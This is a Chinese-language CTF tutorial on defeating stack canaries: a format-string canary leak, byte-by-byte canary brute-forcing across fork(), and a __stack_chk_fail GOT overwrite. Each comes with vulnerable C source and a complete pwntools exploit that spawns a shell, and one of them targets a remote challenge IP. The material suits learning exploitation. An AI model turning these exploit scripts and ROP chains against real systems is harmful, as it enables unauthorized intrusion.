1. 格式化字符串泄露
2025-iscc-pwn1
64位程序动态链接
存在栈溢出和格式化字符串
有完整的system
当输入24个字符的时候就可以顺便把字符输出来泄露canary,后面就是简单的ret2text
exp
from pwn import*
p=remote('101.200.155.151',12000)
# p=process('./pwn1')
p.recvuntil(b"you are a genius,yes or no?")
p.sendline(b'no')
p.recvuntil(b"Sir, don't be so modest.")
p.sendline(b'thanks')
p.recvuntil(b"what you want in init")
ret=0x000000000040101a
shell=0x4011a6
payload=b'a'*24
# gdb.attach(p)
p.sendline(payload)
p.recvuntil(b'aaa\n')
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
p.recv()
payload=b'a'*24+p64(canary)+b'a'*8+p64(ret)+p64(shell)
p.sendline(payload)
p.interactive()
2. 字节爆破
原理
每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,因为fork函数会直接拷贝父进程的内存,所以fork函数创建的子进程中的canary也是相同的。最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃。爆破成功则程序进行下面的逻辑。
我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。
64位程序canary:8字节
复杂度:8*256
一个字节的范围:0x100
源码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <wait.h>
void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x200);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
while (1) {
pid_t pid = fork();
if (pid < 0) {
break;
} else if (pid > 0) {
wait(0);
} else {
vuln();
}
}
return 0;
}
代码可以理解成这样
pid<0报错
pid=0子进程
pid>0父进程
gdb调试到read就能找到buf的位置
直接在read那里看一下栈,计算一下canary的位置
正常来说,没修改canary就会死循环不断输入
溢出覆盖canary会报错
我们知道canary的低字节是/x00,可以看到是正常不断输入
爆破成功
后面来正常栈溢出就行,这里用syscall
exp
由于 fork 产生的子进程的 canary 与父进程相同,因此可以根据子进程是否打印报错信息来逐字节爆破canary。
from pwn import *
elf = ELF("./test")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
canary = b'\x00'
while len(canary) < 8:
for c in range(0x100):
p.sendafter(b"please input:", b"a" * 0x108 + canary + p8(c))
if not p.recvline_contains(b'stack smashing detected', timeout=1):
canary += p8(c)
break
canary = u64(canary)
info("canary: " + hex(canary))
payload = b''
payload += b'a' * 0x108
payload += p64(canary)
payload += b'b' * 8
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x00000000004493d7) # pop rax ; ret
payload += b'/bin//sh'
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004437a0) # xor rax, rax ; ret
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x00000000004018c2) # pop rdi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004017cf) # pop rdx ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(next(elf.search(asm('pop rax; ret;'), executable=True)))
payload += p64(59)
payload += p64(next(elf.search(asm('syscall;'), executable=True)))
p.sendafter(b"please input:", payload)
p.interactive()
# 0x7fffffffddd0 buf
# 0x7fffffffded8 canary
# 0x7fffffffdee0 rbp
# 0x7fffffffdee8 ret addr
3. 劫持__stack_chk_fail函数
原理
canary 检测失败会调用 stack_chk_fail 函数,可以通过比如格式化字符串漏洞修改 got 表中对应stack_chk_fail 的位置为后门函数的地址来实施攻击
只要这个不是falsegot表就可以写
canary的地址-buf的地址是0x108,但是只能溢出0x110到rbp
有格式化字符串可以实现任意地址写printf(buf),因为没开启pie栈上的地址都是可以知道的
且got表在栈上,我们可以覆盖这个地方指向backdoor
源码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
void backdoor() {
puts("this is a backdoor.");
system("/bin/sh");
}
void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x110);
printf(buf);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
return 0;
}
exp
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
gdb.attach(p, 'b *0x40124b\nc')
pause()
payload = fmtstr_payload(6, {elf.got['__stack_chk_fail']: elf.sym['backdoor']})
payload = payload.ljust(0x108, b'a')
payload += b'b'
p.sendafter(b"please input:", payload)
p.interactive()
作者:晨星安全团队--tblr